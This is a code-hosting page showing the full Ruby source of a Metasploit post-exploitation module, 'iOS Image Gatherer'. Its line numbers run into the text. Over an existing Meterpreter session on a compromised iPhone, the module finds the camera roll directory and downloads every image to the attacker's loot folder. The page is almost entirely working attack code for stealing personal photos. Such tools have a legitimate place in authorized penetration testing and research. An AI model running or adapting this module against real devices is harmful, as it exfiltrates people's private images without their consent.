Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/apple_ios/gather/ios_image_gather.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'iOS Image Gatherer',14'Description' => %q{15This module collects images from iPhones.16Module was tested on iOS 10.3.3 on an iPhone 5.17},18'License' => MSF_LICENSE,19'Author' => [ 'Shelby Pace' ], # Metasploit Module20'Platform' => [ 'apple_ios' ],21'SessionTypes' => [ 'meterpreter' ],22'Compat' => {23'Meterpreter' => {24'Commands' => %w[25core_channel_close26core_channel_eof27core_channel_open28core_channel_read29stdapi_fs_stat30]31}32}33)34)35end3637def enum_img(f_path)38path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6))39local_path = File.expand_path(path)4041ios_imgs = dir(f_path)42print_status("Directory for iOS images: #{local_path}")4344opts = { 'block_size' => 262144 }45ios_imgs.each do |img|46print_status("Downloading image: #{img}")47client.fs.file.download_file("#{local_path}/#{img}", "#{f_path}/#{img}", opts)48rescue StandardError49print_error("#{img} could not be downloaded")50end51end5253def run54img_path = '/private/var/mobile/Media/DCIM/100APPLE'55unless directory?(img_path)56fail_with(Failure::NotFound, 'Could not find the default image file path')57end58print_good('Image path found. Will begin searching for images...')5960enum_img(img_path)61end62end636465